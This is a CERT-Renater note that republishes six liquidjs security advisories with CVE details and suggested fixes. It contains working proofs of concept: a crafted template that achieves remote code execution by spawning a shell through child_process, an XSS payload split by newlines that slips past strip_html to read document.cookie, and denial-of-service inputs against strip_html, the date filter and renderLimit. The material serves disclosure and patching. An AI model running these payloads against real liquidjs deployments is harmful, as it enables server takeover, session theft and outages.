Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN629
_____________________________________________________________________

DATE                : 12/06/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running liquidjs.

=====================================================================
https://github.com/harttle/liquidjs/security/advisories/GHSA-gf2q-c269-pqgc
https://github.com/harttle/liquidjs/security/advisories/GHSA-r7g9-xpmj-5fcq
https://github.com/harttle/liquidjs/security/advisories/GHSA-hh27-hf48-9f5q
https://github.com/harttle/liquidjs/security/advisories/GHSA-9x9p-qf8f-mvjg
https://github.com/harttle/liquidjs/security/advisories/GHSA-8xx9-69p8-7jp3
https://github.com/harttle/liquidjs/security/advisories/GHSA-2qv6-9wx5-cwv4
_____________________________________________________________________

Remote Code Execution
Critical
harttle published GHSA-gf2q-c269-pqgc May 24, 2026

Package
liquidjs (npm)

Affected versions
<= 10.25.7

Patched versions
None


Description

Summary

It is possible to execute arbitrary code with crafted templates
Details
`1|valueOf` -> `this` when evaluating the filter

function calls with a controlled first argument via comprable

image


changing the prototype of things

image

When calling functions via the comparable gadget, this will be
the scope.
By overwriting this.loader.lookup and this.readFile, to fully
control what goes into this.parse, and while controlling this,
a reference to the Function constructor can be obtained, which
then allows executing arbitrary code.

  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
    const filepath = yield this.loader.lookup(file, type, sync, currentFile)
    return this.parse(yield this.readFile(!!sync, filepath), filepath)
  }


PoC

Complete instructions, including specific configuration details,
to reproduce the vulnerability.

import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}

${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}

${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}

{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}

{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}

{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")} 

{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}

{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());


Impact

What kind of vulnerability is it? Who is impacted?
Remote Code Execution.


Severity
Critical
10.0/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-45618

Weaknesses
Weakness CWE-94

Credits

    @c0rydoras c0rydoras Reporter

_____________________________________________________________________

ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
High
harttle published GHSA-r7g9-xpmj-5fcq May 24, 2026

Package
liquidjs (npm)

Affected versions
<= 10.25.7

Patched versions
None


Description

Summary

The built-in strip_html filter in liquidjs uses a regex containing four
lazy-quantified alternatives. When the input contains
many <script, <style, or <!-- opener tokens without matching closers,
the V8 regex engine performs O(N²) backtracking, blocking the Node.js
event loop. A single ~350 KB request ('<script'.repeat(50000)) stalls
the process for ~10 seconds; cost grows quadratically with input size.
The default memoryLimit: Infinity does not bound regex CPU, and even
when configured strip_html only charges str.length to the limit — the
regex itself runs unbounded.


Details

The vulnerable filter is at src/filters/html.ts:45-49:

export function strip_html (this: FilterImpl, v: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
}

The regex contains four lazy patterns:

    <script[\s\S]*?<\/script>
    <style[\s\S]*?<\/style>
    <.*?>
    <!--[\s\S]*?-->

For an input like '<script'.repeat(N), the engine encounters N
starting < positions. At each one it must lazily
expand [\s\S]*? (and .*?) all the way to end-of-input searching
for a closer that never appears, then fail and backtrack.
Because each of the O(N) starts performs O(N) lazy-expansion
work, total work is O(N²).

Reachability:

    strip_html is a default-registered filter (exported from
src/filters/html.ts, wired up via src/filters/index.ts),
invocable from any template via {{ x | strip_html }}.
    The filter calls String.prototype.replace with the
vulnerable regex directly on the caller-supplied string,
with no length cap and no timeout.
    The default memoryLimit is Infinity (src/liquid-options.ts:198);
the filter only charges str.length against memory (line 47),
which does not bound CPU work for regex backtracking.

This is distinct from GHSA-45rm-2893-5f49
(prototype property leak, CWE-200) and from any prior
replace/strip_html issues — the mechanism here is regex
backtracking CPU consumption on a different filter.


PoC

Empirical scaling confirmed against a freshly built
liquidjs@10.25.7 bundle on Node 22 / Linux:

node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
  for (const n of [1000, 2000, 4000, 8000, 16000]) {
    const payload = '<script'.repeat(n);
    const t0 = Date.now();
    await e.parseAndRender('{{ x | strip_html }}', { x: payload });
    console.log('n=' + n + ' inputLen=' + payload.length + ' ms=' + (Date.now() - t0));
  }
})();
"

Verified output:

n=1000  inputLen=7000   ms=5
n=2000  inputLen=14000  ms=12     (2.4x for 2x size)
n=4000  inputLen=28000  ms=46     (3.8x for 2x size)
n=8000  inputLen=56000  ms=187    (4.0x for 2x size)
n=16000 inputLen=112000 ms=737    (3.9x for 2x size)

A larger payload extrapolates straightforwardly:

node -e "
const { Liquid } = require('liquidjs');
const e = new Liquid();
(async () => {
  const payload = '<script'.repeat(50000);  // 350 KB
  const t0 = Date.now();
  await e.parseAndRender('{{ x | strip_html }}', { x: payload });
  console.log('elapsed ms:', Date.now() - t0);
})();
"
# elapsed ms: ~10000+ (Node single-threaded event loop fully blocked)

The same pathology applies to <style and <!-- openers.
Impact

    Single-request DoS: A 350 KB request body stalls the Node.js
event loop for ~10 seconds; 700 KB takes ~40 s; 1.4 MB takes ~160 s.
All other requests on the process queue behind the regex.
    Trivial amplification: Quadratic scaling means small attacker
bandwidth produces large server CPU consumption. A handful of
concurrent requests fully saturates the worker.
    No authentication required: The typical use case for
strip_html is sanitizing untrusted input
(comments, posts, profile bios, product descriptions). Any
endpoint that renders user content through strip_html is
exposed.

    memoryLimit doesn't help: Even applications that opt
into memoryLimit are not protected, because (a) the regex
CPU runs to completion before any output is produced,
and (b) only str.length is charged, not the cost of the
regex traversal.


Recommended Fix

Replace the backtracking regex with an atomic / non-overlapping
pattern, and/or perform a single linear pass.

Option 1 — anchor each alternative so lazy expansion
fails fast on chunked content (no [\s\S]*? over the
full tail):

return str.replace(
  /<script\b[^<]*(?:<(?!\/script>)[^<]*)*<\/script>|<style\b[^<]*(?:<(?!\/style>)[^<]*)*<\/style>|<!--[^-]*(?:-(?!->)[^-]*)*-->|<[^>]*>/g,
  ''
)

This unrolls each lazy quantifier so each < is visited at most
a constant number of times overall — linear total work.

Option 2 — single-pass tokenizer in plain code; iterate over
the string once, tracking whether you are
inside <script>, <style>, comment, or generic tag, and emit
nothing for those ranges.

Either fix should be combined with charging the regex output
cost honestly to memoryLimit and (defensively) capping input
length up front:

export function strip_html (this: FilterImpl, v: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  // ... linear-time strip implementation here
}


Severity
High
7.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2026-45617

Weaknesses
Weakness CWE-1333

Credits

    @offset offset Reporter
    @0xEr3n 0xEr3n Analyst

_____________________________________________________________________

Memory and render limit bypass via unbounded width padding in `date`
filter (strftime)

High
harttle published GHSA-hh27-hf48-9f5q May 24, 2026

Package
liquidjs (npm)

Affected versions
<= 10.25.7

Patched versions
None


Description

Summary

The date filter's strftime implementation parses width specifiers like
%9999999d and forwards the captured width unchecked into
pad()/padStart() in src/util/underscore.ts. The pad loop performs
unbounded string concatenation without consulting the Context's
memoryLimit or renderLimit, so a single small
template ({{ x | date: '%5000000d' }}) produces megabytes of output
and unbounded CPU. The memoryLimit and renderLimit options the docs
(src/liquid-options.ts:87-92) advertise as DoS controls — and which
the docstring explicitly mentions for strftime — are entirely
bypassed.


Details

date.ts:5-13 only charges memoryLimit for the lengths of the input
value, format string, and timezone:

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
  const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
  this.context.memoryLimit.use(size)
  ...
  return strftime(date, format)
}

strftime (src/util/strftime.ts:121) then walks the format with
rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width
group is passed directly to padStart:

function format (d, match) {
  const [input, flagStr = '', width, modifier, conversion] = match
  ...
  let padWidth = width || padWidths[conversion] || 0
  ...
  return padStart(ret, padWidth, padChar)   // strftime.ts:147
}

padStart calls pad() in src/util/underscore.ts:153:

export function pad (str, length, ch, add) {
  str = String(str)
  let n = length - str.length
  while (n-- > 0) str = add(str, ch)   // unbounded loop
  return str
}

The loop has no upper bound and never consults
this.context.memoryLimit or renderLimit. The pad is also
implemented as repeated ch + str string concatenation,
which makes the per-byte cost grow with output length
and amplifies CPU consumption.

Filter arguments accept context-evaluated values
(src/template/filter.ts:30-31, evalToken(arg, context)),
so any deployment that passes a context value as the date
format — a documented and tested usage pattern — exposes
the sink to attacker-controlled input.

This is a separate sink from the previously-reported
quadratic replace finding: a different filter (date), a
different parser (the strftime width regex), and a
different concatenation site (pad() in underscore.ts).


PoC

Setup: npm install liquidjs@10.25.7.

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"

Verified output: len= 5000000 ms= 198. The memoryLimit:50
(50-byte budget) and renderLimit:50 (50 ms budget) are
both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"

Verified output: FATAL ERROR: Ineffective mark-compacts near
heap limit Allocation failed - JavaScript heap out of memory.
Process is killed.

The realistic attack template is
{{ post.created_at | date: user_supplied_format }}, where
user_supplied_format is any context value an attacker can
influence (profile field, query param mapped into template
context, etc.).


Impact

    DoS against any LiquidJS-rendered surface where a
context value reaches the date filter's format argument: a
single render call can be turned into multi-MB allocations
and seconds of CPU per request, or into an OOM that
crashes the host process.
    Bypass of the engine's two documented DoS controls —
memoryLimit and renderLimit — meaning that operators who
explicitly opted into DoS protection still have no defense
for this code path.
    All date_to_xmlschema, date_to_rfc822, date_to_string,
date_to_long_string paths share the same sink via strftime,
but with hard-coded formats they're not directly
attacker-controllable; the user-facing risk is on date.

Recommended Fix

Two complementary fixes:

    Have pad() in src/util/underscore.ts charge the
Context's memory limit and use String.prototype.repeat
instead of an O(n) concatenation loop. Since pad() is
generic, the simplest version takes the memory limit
as a parameter:

export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
  str = String(str)
  const n = length - str.length
  if (n <= 0) return str
  return add === ((s, c) => c + s)
    ? ch.repeat(n) + str
    : str + ch.repeat(n)
}

    Cap padWidth in src/util/strftime.ts:141 and account
for it via memoryLimit. The date filter
(src/filters/date.ts) should also charge
this.context.memoryLimit.use(parsedMaxWidth) before
invoking strftime, e.g. by scanning the format for %(\d+)
widths and summing them. A conservative
cap (e.g. Math.min(width, 1024) for non-N conversions)
is also reasonable — strftime widths beyond a few dozen
characters have no legitimate use.

Both fixes are needed: the cap stops the OOM crash, the
memory accounting restores the documented DoS guarantee.


Severity
High
7.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2026-45357

Weaknesses
Weakness CWE-400

Credits

    @offset offset Reporter
    @0xEr3n 0xEr3n Analyst


_____________________________________________________________________

liquidjs `{% render %}` tag silently bypasses per-render
`ownPropertyOnly:true` via `Context.spawn()`

Moderate
harttle published GHSA-9x9p-qf8f-mvjg May 24, 2026

Package
liquidjs (npm)

Affected versions
<= 10.25.7

Patched versions
None

Description

Summary

Context.spawn() in liquidjs creates a child Context for the
{% render %} tag but does not propagate the parent context's
resolved ownPropertyOnly value. The new context re-derives
ownPropertyOnly from opts.ownPropertyOnly (the instance-level
option), silently discarding any RenderOptions.ownPropertyOnly
override that was supplied to parseAndRender(). As a result, a
developer who runs a Liquid instance with the
backwards-compatible ownPropertyOnly:false and then locks down
an untrusted render with
parseAndRender(..., { ownPropertyOnly: true }) still leaks
prototype-chain properties from inside any {% render %}
partial. This is a distinct exploit surface from the
previously identified array-filter variants
(where, reject, group_by, find, find_index, has) — the
underlying root cause in Context.spawn() is shared,
but {% render %} is a separately reachable sink that needs
no filter usage.


Details

The bug is in Context.spawn():

// src/context/context.ts:105-114
public spawn (scope = {}) {
  return new Context(scope, this.opts, {
    sync: this.sync,
    globals: this.globals,
    strictVariables: this.strictVariables
    // <-- ownPropertyOnly is missing here
  }, {
    renderLimit: this.renderLimit,
    memoryLimit: this.memoryLimit
  })
}

The constructor resolves ownPropertyOnly as:

// src/context/context.ts:47
this.ownPropertyOnly = renderOptions.ownPropertyOnly ?? opts.ownPropertyOnly

Because spawn() passes a RenderOptions object with no
ownPropertyOnly, the child context falls back to
opts.ownPropertyOnly (the instance-level option), throwing
away any per-render override that the parent context
had applied. this.opts is the raw normalized instance
options object; it is not mutated to reflect render-time
overrides.

The {% render %} tag at src/tags/render.ts:51-77 calls
spawn() to build the partial's isolated scope:

* render (ctx: Context, emitter: Emitter): Generator<unknown, void, unknown> {
  const { liquid, hash } = this
  const filepath = (yield renderFilePath(this['file'], ctx, liquid)) as string
  assert(filepath, () => `illegal file path "${filepath}"`)

  const childCtx = ctx.spawn()                    // <-- ownPropertyOnly lost here
  const scope = childCtx.bottom()
  __assign(scope, yield hash.render(ctx))
  ...
  const templates = (yield liquid._parsePartialFile(filepath, childCtx.sync, this['currentFile'])) as Template[]
  yield liquid.renderer.renderTemplates(templates, childCtx, emitter)
}

All template variable lookups inside the partial then go through
childCtx.readProperty() (src/context/context.ts:123-135), which
calls readJSProperty(obj, key, this.ownPropertyOnly). With
childCtx.ownPropertyOnly === false (inherited from opts), the
protective check at src/context/context.ts:138-141 is skipped
and prototype-chain properties are returned to the template:

export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
  return obj[key]
}

The {% include %} tag is not affected: it does not call spawn();
it pushes onto the parent context's scope stack
(src/tags/include.ts:40), so the parent's resolved
ownPropertyOnly continues to apply.

Trust model / why this matters: RenderOptions.ownPropertyOnly
is documented (src/liquid-options.ts:108-111) as "Same as
ownPropertyOnly on LiquidOptions, but only for current
render() call". It exists precisely so that developers
running a non-strict instance can lock down individual
untrusted renders. That contract is broken — the override
is silently dropped at every partial boundary.


PoC

mkdir -p /tmp/render-poc
printf '{{ user.passwordHash }}' > /tmp/render-poc/_user.liquid

node -e "
const { Liquid } = require('./dist/liquid.node.js');
const liquid = new Liquid({ ownPropertyOnly: false, root: '/tmp/render-poc' });

class User { constructor(n){ this.name = n; } }
User.prototype.passwordHash = 'bcrypt\$secret';
const u = new User('alice');

liquid.parseAndRender(
  'Direct:[{{ user.passwordHash }}] Render:[{% render \"_user.liquid\", user: user %}]',
  { user: u },
  { ownPropertyOnly: true }
).then(console.log);
"

Verified output on liquidjs 10.25.7:

Direct:[] Render:[bcrypt$secret]

The top-level expression {{ user.passwordHash }} is correctly blocked
by the per-render ownPropertyOnly:true, but the same expression
inside the partial loaded by {% render %} returns the prototype-chain
property — proof that Context.spawn() discarded the override.


Impact

    Information disclosure: Any prototype-chain property of objects
passed into a {% render %} partial — including secrets, hashes,
internal state, framework-injected helpers — becomes readable from
inside the partial template, even when the developer used the
documented per-render lockdown.
    Realistic threat model: Applications that maintain
ownPropertyOnly:false for backwards compatibility (or because
their data layer relies on prototype methods) and lock down
untrusted-template renders with
parseAndRender(..., { ownPropertyOnly:true }) are protected
at the top level but silently exposed inside any partial.
User-controllable template content
(CMS snippets, theme partials, email templates) that
uses {% render %} becomes an info-leak primitive.

    Distinct from existing CVE-2022-25948: the prior
advisory only covered direct use of ownPropertyOnly:false;
this is a failure of the documented mitigation
(ownPropertyOnly:true per-render override), not a missing
setting.
    Distinct from the array-filter variant: same spawn()
root cause, but exploitable without invoking
where/reject/group_by/find/find_index/has — only requires
that the template uses {% render %} (a basic templating feature)
and that one of the rendered values has prototype-chain
properties.


Recommended Fix

Propagate ownPropertyOnly (and any other security-relevant
render options) inside Context.spawn():

// src/context/context.ts
public spawn (scope = {}) {
  return new Context(scope, this.opts, {
    sync: this.sync,
    globals: this.globals,
    strictVariables: this.strictVariables,
    ownPropertyOnly: this.ownPropertyOnly   // <-- propagate resolved per-render value
  }, {
    renderLimit: this.renderLimit,
    memoryLimit: this.memoryLimit
  })
}

Passing this.ownPropertyOnly (the resolved value, not
this.opts.ownPropertyOnly) ensures any RenderOptions.ownPropertyOnly
override flows into spawned child contexts. This single change
closes both the {% render %} pathway documented here and the
array-filter pathway tracked separately. A regression test
should assert that a partial rendered via {% render %} honours
parseAndRender(..., { ownPropertyOnly: true }) against
an object with prototype-chain properties.


Severity
Moderate
5.3/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID
CVE-2026-44646

Weaknesses
Weakness CWE-693

Credits

    @offset offset Reporter
    @0xEr3n 0xEr3n Analyst

_____________________________________________________________________

renderLimit DoS guard bypass via empty `{% for %}` body in liquidjs
Moderate
harttle published GHSA-8xx9-69p8-7jp3 May 24, 2026

Package
liquidjs (npm)

Affected versions
<= 10.25.7

Patched versions
None


Description

Summary

The renderLimit option — documented in docs/source/tutorials/dos.md
as the mechanism that "mitigates this by limiting the time consumed
by each render() call" — can be fully bypassed by a {% for %}
(or {% tablerow %}) tag whose body is empty. The per-iteration time
check is reached only when the body contains at least one template
node, so a template like {%- for i in (1..N) -%}{%- endfor -%}
iterates the full collection without ever consulting renderLimit.
With a configured renderLimit of 50 ms, a single parseAndRenderSync
call has been observed to consume 2.26 seconds (~45× over the limit)
and scales linearly with N up to memoryLimit, allowing a
low-privileged template author to wedge an event-loop thread for
an attacker-chosen duration.


Details

Render.renderTemplates is the single point at which renderLimit is
consulted:

// src/render/render.ts
14:  public * renderTemplates (templates: Template[], ctx: Context, emitter?: Emitter): IterableIterator<any> {
15:    if (!emitter) {
16:      emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter()
17:    }
18:    const errors = []
19:    for (const tpl of templates) {
20:      ctx.renderLimit.check(getPerformance().now())
21:      try {
22:        const html = yield tpl.render(ctx, emitter)
...
32:    }

The check at line 20 lives inside the for (const tpl of templates)
body. When templates.length === 0, the loop body never executes,
so the limiter is never consulted on that invocation.

The for tag re-enters renderTemplates once per collection item with
no independent time check:

// src/tags/for.ts
70:    for (const item of collection) {
71:      scope[this.variable] = item
72:      ctx.continueCalled = ctx.breakCalled = false
73:      yield r.renderTemplates(this.templates, ctx, emitter)
74:      if (ctx.breakCalled) break
75:      scope.forloop.next()
76:    }

When {%- for i in (1..N) -%}{%- endfor -%} is parsed,
this.templates is []. Each of the N calls to
r.renderTemplates(this.templates, ctx, emitter) therefore
performs zero renderLimit.check() calls and zero template
work — it just spins the JS-level for loop and the generator
boilerplate. With N = 30_000_000 this still costs ~2.26 s
of CPU, and N = 100_000_000 costs ~9.6 s, fully bypassing
whatever wall-clock budget the integrator configured.

The range expression itself is bounded only by memoryLimit:

// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
  const low: number = yield evalToken(token.lhs, ctx)
  const high: number = yield evalToken(token.rhs, ctx)
  ctx.memoryLimit.use(high - low + 1)
  return range(+low, +high + 1)
}

So the maximum bypass is governed by the (separate) memoryLimit,
not by renderLimit. Integrators following the
docs/source/tutorials/dos.md guidance — which positions
renderLimit as the time-based defense — get no time-based
defense at all on this code path.


PoC

Reproduced against liquidjs@10.25.7 (HEAD 34877950):

# Empty for-body bypasses renderLimit (50 ms) and runs for ~2.26 s:
$ node -e "const { Liquid } = require('liquidjs');
  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });
  const t = Date.now();
  engine.parseAndRenderSync('{%- for i in (1..30000000) -%}{%- endfor -%}', {});
  console.log('Took', Date.now()-t, 'ms');"
Took 2255 ms

# Same template with a single-character body is correctly bounded:
$ node -e "const { Liquid } = require('liquidjs');
  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });
  try { engine.parseAndRenderSync('{%- for i in (1..30000000) -%}.{%- endfor -%}', {}); }
  catch(e) { console.log('correctly threw:', e.message); }"
correctly threw: template render limit exceeded, line:1, col:1

Scaling N:

    N = 30_000_000 → 2255 ms (≈ 45× over the 50 ms limit)
    N = 100_000_000 → 9581 ms (≈ 191× over the 50 ms limit)

Time grows linearly with N, capped only by memoryLimit (default
Infinity, so the only cap by default is process memory).


Impact

Any liquidjs integrator who follows the upstream DoS guidance
and sets a finite renderLimit to bound per-render CPU — typical
for SaaS / multi-tenant environments where end users author
templates (themes, email templates, snippets) — does not get
the bound they configured. A single template submission can keep
an event-loop thread busy for seconds, which on a Node.js server
is sufficient to stall all in-flight requests on that worker.
With a large enough range and a permissive memoryLimit, the wedge
time is attacker-controlled. No data is exposed and no integrity
is harmed; impact is availability only.
Recommended Fix

Move the renderLimit check to a location that runs unconditionally
per renderTemplates invocation, so a zero-template body still
triggers it; alternatively (or additionally) have iteration tags
that invoke renderTemplates per element check the limiter
themselves once per iteration.

// src/render/render.ts — check at function entry, before the templates loop
public * renderTemplates (templates: Template[], ctx: Context, emitter?: Emitter): IterableIterator<any> {
  if (!emitter) {
    emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter()
  }
  ctx.renderLimit.check(getPerformance().now())   // <-- runs even when templates is empty
  const errors = []
  for (const tpl of templates) {
    ctx.renderLimit.check(getPerformance().now())
    ...
  }
  ...
}

And/or, defensively, in the iteration tags themselves so the guard
cost is paid once per element rather than only at re-entry:

// src/tags/for.ts (around line 70)
for (const item of collection) {
  ctx.renderLimit.check(getPerformance().now())   // <-- per-iteration time check
  scope[this.variable] = item
  ctx.continueCalled = ctx.breakCalled = false
  yield r.renderTemplates(this.templates, ctx, emitter)
  if (ctx.breakCalled) break
  scope.forloop.next()
}

// src/tags/tablerow.ts (around line 54) — analogous addition
for (let idx = 0; idx < collection.length; idx++, tablerowloop.next()) {
  ctx.renderLimit.check(getPerformance().now())
  ...
}

The same hardening should be applied anywhere a tag drives an
attacker-influenced loop count over a (potentially empty)
templates array.


Severity
Moderate
6.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE ID
CVE-2026-44645

Weaknesses
Weakness CWE-400

Credits

    @offset offset Reporter
    @0xEr3n 0xEr3n Analyst

_____________________________________________________________________

strip_html filter bypass via newline characters in HTML tags enables
XSS

Moderate
harttle published GHSA-2qv6-9wx5-cwv4 May 24, 2026

Package
liquidjs (npm)

Affected versions
<= 10.25.7

Patched versions
None


Description

Summary

The strip_html filter in liquidjs is intended to remove HTML tags
from a string before rendering, and is widely used as an XSS
sanitizer. The implementation uses a regex whose catch-all
branch (<.*?>) does not match line terminators, so any HTML tag
containing a \n or \r character passes through unmodified. An
attacker who can place a newline inside a tag
(e.g. <img\nsrc=x\nonerror=alert(1)>) bypasses sanitization
entirely, since browsers treat newlines as whitespace within
a tag and execute the resulting onerror/onload/etc. handler.
This results in stored or reflected XSS in any application
that relies on strip_html to neutralize untrusted HTML.


Details

The vulnerable code is in src/filters/html.ts:

// src/filters/html.ts:45-49
export function strip_html (this: FilterImpl, v: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '')
}

The regex has four alternations:

    <script[\s\S]*?<\/script> — uses [\s\S], matches across newlines.
    <style[\s\S]*?<\/style> — uses [\s\S], matches across newlines.
    <.*?> — uses ., which in JavaScript does not match \n or \r (no s/dotAll flag set).
    <!--[\s\S]*?--> — uses [\s\S], matches across newlines.

Branch 3 is the catch-all for "any other tag." Because . excludes
line terminators, a tag containing a newline does not match any
alternative. The literal characters of the tag are passed through
to the output.

Browsers, however, parse HTML tag content with whitespace
tolerance: per the HTML spec, attribute names and values may
be separated by ASCII whitespace, which includes \n and \r.
So <img\nsrc=x\nonerror=alert(1)> is parsed as a valid img
element with an onerror handler.

liquidjs' default rendering pipeline does not auto-escape
filter output (the outputEscape engine option is undefined
by default — see src/liquid-options.ts), so the unescaped
HTML is delivered verbatim to the consumer's HTML response.

Trust path:

    Application receives untrusted input (e.g. user comment field).
    Developer renders it as {{ comment | strip_html }} to "safely" embed user content as plaintext.
    Attacker submits <img\u000Asrc=x\u000Aonerror=alert(document.cookie)>.
    strip_html returns the input unchanged.
    Output is written into the HTML response with no further escaping.
    Victim's browser executes the attacker's JavaScript in the application's origin.

This is an inconsistency bug: the same regex correctly
uses [\s\S] for <script>, <style>, and comment branches, but
reverts to . for the catch-all. The other branches' authors
clearly knew to handle multi-line content; the catch-all
was missed.


PoC

Reproduces against current HEAD (10.25.7) using the published
dist/liquid.node.js build:

node -e "
const { Liquid } = require('./dist/liquid.node.js');
const engine = new Liquid();
engine.parseAndRender(
  'Safe output: {{ input | strip_html }}',
  { input: '<img\nsrc=x\nonerror=\"alert(document.cookie)\">' }
).then(r => console.log(JSON.stringify(r)));
"

Verified output:

"Safe output: <img\nsrc=x\nonerror=\"alert(document.cookie)\">"

The <img ... onerror=...> tag is delivered to the output completely
unmodified. When this string is placed into an HTML document and
parsed by a browser, the onerror handler executes.

Same bypass works with \r (carriage return), \r\n, or any
combination of CR/LF inside the tag. It also works with other
event-handler vectors (<svg\nonload=alert(1)>,
<body\nonload=alert(1)>, <iframe\nsrc="javascript:alert(1)">, etc.)
and is not specific to <img>.

For comparison, the same input without a newline is correctly
stripped:

node -e "
const { Liquid } = require('./dist/liquid.node.js');
const engine = new Liquid();
engine.parseAndRender(
  'Safe output: {{ input | strip_html }}',
  { input: '<img src=x onerror=\"alert(1)\">' }
).then(r => console.log(JSON.stringify(r)));
"
# → "Safe output: "

This confirms strip_html is intended to remove tags of this
shape, and the newline form is a sanitizer bypass rather
than expected behavior.


Impact

Any liquidjs-using application that:

    Renders attacker-controlled strings via {{ x | strip_html }}
to defend against HTML injection, AND
    Does not separately HTML-escape that output (default
behavior — outputEscape is unset by default),

is vulnerable to stored or reflected XSS. The attacker can
execute arbitrary JavaScript in the victim's browser in the
application's origin, enabling session theft, account takeover,
CSRF with origin-scoped credentials, and arbitrary actions in
the victim's authenticated session. The XSS is triggered with
simple, well-known event-handler payloads — no exotic encoding,
no character set tricks, just a literal newline inside the tag.

The blast radius matches the deployment of liquidjs as a
server-side template engine: liquidjs is one of the most
popular Liquid implementations on npm (millions of
downloads/week) and strip_html is documented as the
sanitization filter for HTML stripping, so the vulnerable
pattern ({{ user | strip_html }}) is the natural and
recommended use of the filter.


Recommended Fix

Replace <.*?> with <[\s\S]*?> (or apply the s/dotAll flag
to the entire regex) so the catch-all branch matches across
line terminators, consistent with the other branches:

// src/filters/html.ts
export function strip_html (this: FilterImpl, v: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<[\s\S]*?>|<!--[\s\S]*?-->/g, '')
}

Equivalent fix using the dotAll flag (requires ES2018+, which liquidjs already targets):

return str.replace(/<script.*?<\/script>|<style.*?<\/style>|<.*?>|<!--.*?-->/gs, '')

After the fix, the PoC input is correctly reduced to an empty
string. Note that strip_html should still not be relied on as
a primary XSS defense — the project README/documentation should
recommend HTML-escaping (escape filter) for untrusted content
rendered into HTML contexts. A brief security note in the
filter's documentation would help users who currently treat
strip_html as a sanitizer.


Severity
Moderate
6.1/ 10

CVSS v3 base metrics
Attack vector
Network
